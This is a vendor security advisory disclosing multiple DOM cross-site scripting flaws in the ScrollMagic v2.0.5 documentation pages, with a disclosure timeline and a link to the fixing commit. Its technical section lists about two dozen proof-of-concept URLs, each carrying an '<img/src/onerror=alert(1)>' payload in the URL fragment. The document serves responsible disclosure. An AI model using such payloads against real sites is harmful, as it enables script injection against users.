Multiple DOM Cross-site Scripting Vulnerabilities Identified in ScrollMagic

Information

Advisory by Netsparker (now Invicti)
Name: Multiple DOM XSS Vulnerabilities in ScrollMagic
Affected Software: ScrollMagic
Affected Versions: v2.0.5 and possibly below
Vendor Homepage: https://github.com/janpaepke/ScrollMagic  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-15-021

Technical Details

Proof of Concept URLs for XSS vulnerabilities in ScrollMagic:

/ScrollMagic-master/docs/#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/animation.GSAP.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/animation.Velocity.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/classes.list.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/debug.addIndicators.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/framework.jQuery.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/index.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/mixins.list.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/plugins_animation.gsap.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/plugins_animation.velocity.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/plugins_debug.addIndicators.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/plugins_jquery.ScrollMagic.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic.Controller.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic.Scene.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic_Controller.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic_Scene.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic_Scene_core.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic_Scene_event-management.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic_Scene_feature-classToggles.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic_Scene_feature-pinning.js.html#<img/src/onerror=alert(1)>
/ScrollMagic-master/docs/ScrollMagic_Scene_getters-setters.js.html#<img/src/onerror=alert(1)>

For more information on this type of vulnerability read the article What is DOM Cross-site Scripting vulnerability.

Advisory Timeline

07/10/2015 – First Contact
06/11/2015 – Second Contact
15/12/2015 – Advisory Released

Solution

https://github.com/janpaepke/ScrollMagic/commit/c202878fcfdc9de73d5ad1d8de02ef15edac0408

Credits & Authors

These issues have been discovered by Onur Yilmaz while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.